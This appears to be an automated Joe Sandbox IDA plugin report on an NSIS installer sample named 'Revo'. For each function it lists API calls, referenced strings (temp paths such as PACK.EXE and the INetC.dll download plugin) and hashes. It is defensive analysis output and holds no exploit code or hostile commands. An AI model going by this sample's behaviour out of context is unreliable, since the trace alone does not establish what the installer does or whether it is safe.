Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: P'E$\*.*
API String ID: 2035342205-897026672
Opcode ID: a3f270a56088b8bf3b652a13f4333b5ab17183d1fc399bf265a2fc2ef0cf4556
Instruction ID: d3f7042800757c758c726763e218659af4e34a2018f279a2393577cf1f32b1c8
Opcode Fuzzy Hash: a3f270a56088b8bf3b652a13f4333b5ab17183d1fc399bf265a2fc2ef0cf4556
Instruction Fuzzy Hash: 5741D130800A05E6CB21AB61CD89ABF7678EF45755F14413FF881B11D1DB7C8A82DEAE

Function 00406DC0 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9c4c7fe21643fbeaf7e138ee869f294de0f5e1fd31501e9972d14a61e44697c
Instruction ID: 2c84522690a72e7b125efbdd79dcce5a6d58b8fc95eff680b6a5e34cc787ad25
Opcode Fuzzy Hash: f9c4c7fe21643fbeaf7e138ee869f294de0f5e1fd31501e9972d14a61e44697c
Instruction Fuzzy Hash: 5EF17670D04229CBDF28CFA8C8946ADBBB1FF44305F24856ED456BB281D7786A86CF45

Function 004069FF Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(74DF3420,0045A798,00456750,004060C2,00456750,00456750,00000000,00456750,00456750,74DF3420,?,74DF2EE0,00405DCE,?,74DF3420,74DF2EE0), ref: 00406A0A
FindClose.KERNEL32(00000000), ref: 00406A16

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c678162996fe6daf9e8ab4f1fec6b2103351496eed0ed7f1d1f24d988285780e
Instruction ID: 35f0ff7019ed0dad564a4e6eb4f1dd92456e0906ec704515d4596d21edce6ab9
Opcode Fuzzy Hash: c678162996fe6daf9e8ab4f1fec6b2103351496eed0ed7f1d1f24d988285780e
Instruction Fuzzy Hash: EDD012317551205BC241A73C6D0C89B7E589F1A3317118B37F46BF21E4D7348C628A9D

Function 004021CF Relevance: 1.6, APIs: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084DC,?,00000001,004084CC,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040224E

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 123f68ff51714efecf9c4a00c9935eb00e482b4d0787b723755ae9dd217d2255
Instruction ID: 4ba496994b59718f24d5e00967c7d670fc4db519b0fd96db73d52b6c03ea5324
Opcode Fuzzy Hash: 123f68ff51714efecf9c4a00c9935eb00e482b4d0787b723755ae9dd217d2255
Instruction Fuzzy Hash: 5E411775A00209AFCB00DFE4C989AAD7BB5FF48318B20457EF505EB2D1DB799981CB54

Function 00402930 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040293F

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: ac6a53922a97e284df946da7801549c61c6641663f6eec0e2d2377e42d6a165f
Instruction ID: efe4a8e86551b5277c252534069081f49e8237aa630b9309e96070f066c2822a
Opcode Fuzzy Hash: ac6a53922a97e284df946da7801549c61c6641663f6eec0e2d2377e42d6a165f
Instruction Fuzzy Hash: A8F08271A04105EADB00EBE5D9599AEB378EF14314F20017BE111F31E5D7B88E509B29

Function 00404122 Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 0040415E
ShowWindow.USER32(?), ref: 0040417E
GetWindowLongW.USER32(?,000000F0), ref: 00404190
ShowWindow.USER32(?,00000004), ref: 004041A9
DestroyWindow.USER32 ref: 004041BD
SetWindowLongW.USER32(?,00000000,00000000), ref: 004041D6
GetDlgItem.USER32(?,?), ref: 004041F5
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00404209
IsWindowEnabled.USER32(00000000), ref: 00404210
GetDlgItem.USER32(?,00000001), ref: 004042BB
GetDlgItem.USER32(?,00000002), ref: 004042C5
SetClassLongW.USER32(?,000000F2,?), ref: 004042DF
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00404330
GetDlgItem.USER32(?,00000003), ref: 004043D6
ShowWindow.USER32(00000000,?), ref: 004043F7
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404409
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404424
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040443A
EnableMenuItem.USER32(00000000), ref: 00404441
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404459
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040446C
lstrlenW.KERNEL32(00442748,?,00442748,00000000), ref: 00404496
SetWindowTextW.USER32(?,00442748), ref: 004044AA
ShowWindow.USER32(?,0000000A), ref: 004045DE

Strings

H'D, xrefs: 00404486

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Long$CallbackDispatcherMenuUser$ClassDestroyEnableEnabledSystemTextlstrlen
String ID: H'D
API String ID: 3964124867-716976774
Opcode ID: 9939712a446ab727087054d1c74408c37dfd1bc10aee081f917b5745ceaee613
Instruction ID: 87935a59af8161b0f78328c19d4fe10c51b4425a276279a6d07330ead90e7465
Opcode Fuzzy Hash: 9939712a446ab727087054d1c74408c37dfd1bc10aee081f917b5745ceaee613
Instruction Fuzzy Hash: C4C1C2B1500604BBCB216F61EE85E2B3BA8FB85745F11097EFB41B11F0DB7998419B2E

Function 00403D74 Relevance: 40.5, APIs: 13, Strings: 10, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406A96: GetModuleHandleA.KERNEL32(?,00000020,?,00403775,0000000C,?,?,?,?,?,?,?,?), ref: 00406AA8
Part of subcall function 00406A96: GetProcAddress.KERNEL32(00000000,?), ref: 00406AC3

lstrcatW.KERNEL32(004CD000,00442748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00442748,00000000,00000002,74DF3420,004D1000,00000000,004BD000,00008001), ref: 00403DF5
lstrlenW.KERNEL32(Remove folder: ,?,?,?,Remove folder: ,00000000,004C1000,004CD000,00442748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00442748,00000000,00000002,74DF3420), ref: 00403E75
lstrcmpiW.KERNEL32(?,.exe,Remove folder: ,?,?,?,Remove folder: ,00000000,004C1000,004CD000,00442748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00442748,00000000), ref: 00403E88
GetFileAttributesW.KERNEL32(Remove folder: ), ref: 00403E93
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C1000), ref: 00403EDC

Part of subcall function 004065E9: wsprintfW.USER32 ref: 004065F6

RegisterClassW.USER32(00464200), ref: 00403F19
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403F31
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403F66
ShowWindow.USER32(00000005,00000000), ref: 00403F9C
GetClassInfoW.USER32(00000000,RichEdit20W,00464200), ref: 00403FC8
GetClassInfoW.USER32(00000000,RichEdit,00464200), ref: 00403FD5
RegisterClassW.USER32(00464200), ref: 00403FDE
DialogBoxParamW.USER32(?,00000000,00404122,00000000), ref: 00403FFD

Strings

Remove folder: , xrefs: 00403E3C, 00403E45, 00403E53, 00403EA2, 00403EA8
H'D, xrefs: 00403DA0
.exe, xrefs: 00403E82
RichEd32, xrefs: 00403FB0
RichEd20, xrefs: 00403FA2
.DEFAULT\Control Panel\International, xrefs: 00403DE0
Control Panel\Desktop\ResourceLocale, xrefs: 00403DA8
RichEdit20W, xrefs: 00403FC0, 00403FC6
RichEdit, xrefs: 00403FCF
_Nb, xrefs: 00403EF8, 00403F60

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$H'D$Remove folder: $RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-2601196950
Opcode ID: 3d59189b7d584aebec317020681a23c8595c56b901d309db355d32037134d7fc
Instruction ID: 15514f3cea8a7976e0aa4835bc9f56462f0e59a4e5397df6ef3051f83c2bc2bc
Opcode Fuzzy Hash: 3d59189b7d584aebec317020681a23c8595c56b901d309db355d32037134d7fc
Instruction Fuzzy Hash: 3C61E770640301BED720AF669D95F273AACEB85B49F10457FF941B22E2DB7D58018A2E

Function 004030F5 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 204
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403109
GetModuleFileNameW.KERNEL32(00000000,004D9000,00002000), ref: 00403125

Part of subcall function 00406192: GetFileAttributesW.KERNEL32(00000003,00403138,004D9000,80000000,00000003), ref: 00406196
Part of subcall function 00406192: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 004061B8

GetFileSize.KERNEL32(00000000,00000000,004DD000,00000000,004C9000,004C9000,004D9000,004D9000,80000000,00000003), ref: 0040316E
GlobalAlloc.KERNEL32(00000040,00008001), ref: 004032B0

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 004032F9
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403347
Null, xrefs: 004031EC
hA, xrefs: 004032B6
Inst, xrefs: 004031DA
Error launching installer, xrefs: 00403145
soft, xrefs: 004031E3

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$hA$soft
API String ID: 2803837635-3376623841
Opcode ID: 7dbbcf09529f8eb162c35c87980925caa7ffea24ff0345c9a2ccdde980ec1a20
Instruction ID: ad1f7a9ef70f4aee06910e8501363caf5be3f78a24e024e3506d72c770e38dd5
Opcode Fuzzy Hash: 7dbbcf09529f8eb162c35c87980925caa7ffea24ff0345c9a2ccdde980ec1a20
Instruction Fuzzy Hash: 0271A071D00204ABDB209FA4DD85B6E7AACEB05716F10417FE911B72D1DB789F408B6D

Function 004066DF Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 204
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Remove folder: ,00002000), ref: 00406801
GetWindowsDirectoryW.KERNEL32(Remove folder: ,00002000,00000000,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,?,?,00000000,00000000,00000000,00000000), ref: 00406817
SHGetPathFromIDListW.SHELL32(00000000,Remove folder: ), ref: 00406875
CoTaskMemFree.OLE32(00000000,?,00000000,00000007), ref: 0040687E
lstrcatW.KERNEL32(Remove folder: ,\Microsoft\Internet Explorer\Quick Launch,00000000,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,?,?,00000000,00000000,00000000,00000000), ref: 004068A9
lstrlenW.KERNEL32(Remove folder: ,00000000,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,?,?,00000000,00000000,00000000,00000000), ref: 00406903

Strings

Remove folder: , xrefs: 0040670C, 004067C6, 004067CD, 004067D1, 004067EA, 004067EB, 00406800, 00406816, 00406847, 00406873, 004068A8, 004068AE, 004068CB, 004068DE, 004068FC, 00406902, 0040690B, 00406940
Software\Microsoft\Windows\CurrentVersion, xrefs: 004067D2
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004068A3
Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\, xrefs: 00406703

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: Remove folder: $Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-627599061
Opcode ID: 9e3b55293402a094a689701159d9a6112b8f3c4007e64e8ac0521a09e1289eeb
Instruction ID: 81e951f8fe173c1ecdb7e664093ca8164433b695446651b9203bd6f4f8051ee3
Opcode Fuzzy Hash: 9e3b55293402a094a689701159d9a6112b8f3c4007e64e8ac0521a09e1289eeb
Instruction Fuzzy Hash: 5B6145B2A053019BEB20AF65DC8472B77D4AF45314F25453FF583B22D0EA7C8960876E

Function 00405727 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000,?), ref: 0040575F
lstrlenW.KERNEL32(004030CD,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000), ref: 0040576F
lstrcatW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,004030CD,004030CD,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,00000000,00000000,00000000), ref: 00405782
SetWindowTextW.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\), ref: 00405794
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004057BA
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004057D4
SendMessageW.USER32(?,00001013,?,00000000), ref: 004057E2

Strings

Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\, xrefs: 00405748, 00405758, 0040575E, 00405781, 0040578D

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\
API String ID: 2531174081-3830878547
Opcode ID: 2ee65e7083464dabd9b9679093671ff8473f9e09a681baeda15732d5d792e9f2
Instruction ID: 03453bb2bff48f2ebe7eef3f6a9ba8bdb22b1403b4f5d045e67352473deb1f71
Opcode Fuzzy Hash: 2ee65e7083464dabd9b9679093671ff8473f9e09a681baeda15732d5d792e9f2
Instruction Fuzzy Hash: E221AE71800218FACF019F65DD8498FBFB8EF45354F10803AF944B22A0C77A8A909F68

Function 00401794 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,C:\Users\user\AppData\Local\Temp\PACK.EXE,004C5000,?,?,00000031), ref: 004017D5
CompareFileTime.KERNEL32(-00000014,?,C:\Users\user\AppData\Local\Temp\PACK.EXE,C:\Users\user\AppData\Local\Temp\PACK.EXE,00000000,00000000,C:\Users\user\AppData\Local\Temp\PACK.EXE,004C5000,?,?,00000031), ref: 004017FA

Part of subcall function 004066A2: lstrcpynW.KERNEL32(?,?,00002000,004037D7,00464260,NSIS Error,?,00000008,0000000A,0000000C), ref: 004066AF

Part of subcall function 00405727: lstrlenW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000,?), ref: 0040575F
Part of subcall function 00405727: lstrlenW.KERNEL32(004030CD,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030CD,00000000), ref: 0040576F
Part of subcall function 00405727: lstrcatW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,004030CD,004030CD,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,00000000,00000000,00000000), ref: 00405782
Part of subcall function 00405727: SetWindowTextW.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\), ref: 00405794
Part of subcall function 00405727: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004057BA
Part of subcall function 00405727: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004057D4
Part of subcall function 00405727: SendMessageW.USER32(?,00001013,?,00000000), ref: 004057E2

Strings

C:\Users\user\AppData\Local\Temp\PACK.EXE, xrefs: 004017B2, 004017BB, 004017C8, 004017DA, 004017E6, 0040181C, 00401832, 00401850, 0040188C, 0040190D, 00401916, 00401920, 0040192B
C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\INetC.dll, xrefs: 0040185A, 00401876

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776587140.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776621684.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2776849100.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Revo.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\PACK.EXE$C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\INetC.dll
API String ID: 1941528284-364468337
Opcode ID: e754ad755ac4ebc946d1f76660a4366266a33e6d35abd67097047bb5803dd91e
Instruction ID: 9f42f1e7eaebfaebc1b2313fce90f35831c5a59d22c64b0766d7391dfec550b2
Opcode Fuzzy Hash: e754ad755ac4ebc946d1f76660a4366266a33e6d35abd67097047bb5803dd91e
Instruction Fuzzy Hash: 0541D771800114BACF117BB5CD85DAE3679EF45368B21863FF422F11E1D73D8AA19A2D

Function 00402711 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040277D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004027B8
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027DB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027F1

Part of subcall function 00406273: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00406289

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040289D

Strings

9, xrefs: 00402760

Memory Dump Source

Source File: 00000000.00000002.2776547890.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2776511579.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
